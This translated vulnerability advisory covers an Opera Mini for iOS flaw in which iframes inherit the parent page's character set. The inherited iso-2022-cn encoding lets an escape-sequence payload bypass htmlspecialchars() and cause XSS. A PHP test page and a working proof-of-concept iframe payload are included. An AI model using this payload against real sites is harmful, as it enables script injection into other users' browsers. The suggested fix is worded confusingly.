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Operabrowser cross-origin character set inheritance Vulnerability

Source: Internet
Author: User
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Operabrowser cross-origin character set inheritance Vulnerability

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Detailed description:

Test environment: iphone4s/ios7.0.6/Opera Mini

Brief description of Simulation Scenario: Cross-origin character set inheritance prevents the correctly used htmlspecialchars () from XSS attacks

Example of a page with no XSS vulnerability found: http://kcal.pw/cp.php

Code Region 
<!DOCTYPE html>
<title>Opera mini for ios devices(iphone/ipod/ipad) Cross origin characterSet Inheritance vulnerability POC </title>
<p>Opera mini for ios devices(iphone/ipod/ipad) Cross origin characterSet Inheritance vulnerability POC </p>
<p>Tested in iphone4s/ios7.0.6</p>
<form>
<input name=keyword value="<?php echo htmlspecialchars($_GET["a"]) ?>">
<input name=type value="<?php echo htmlspecialchars($_GET["b"]) ?>">
</form>



For general html attributes context, this filtering method basically has no objection. That is to say, this page does not have the XSS vulnerability. However, since Opera mini for ios does not strictly control the inheritance of character sets in SOP, pages in iframe inherit the character set of the parent page.

Proof of vulnerability:

POC: http://x55.me/cpframe.htm

Code Region 
<meta charset=iso-2022-cn>
<iframe src='//kcal.pw/cp.php?a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.characterSet);//'>





Because in opera mini when the character set is set to ios-2022-cn, [0x1B] $ * H [0x1B] N destroys subsequent characters (here double quotes are broken, eventually, it leads to XSS), and finally the htmlspecialchars () function is successfully bypass.







Solution:

Strictly control cross-origin character set inheritance issues. For iframe, it should be the same-source inheritance, but not the same-source inheritance.

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
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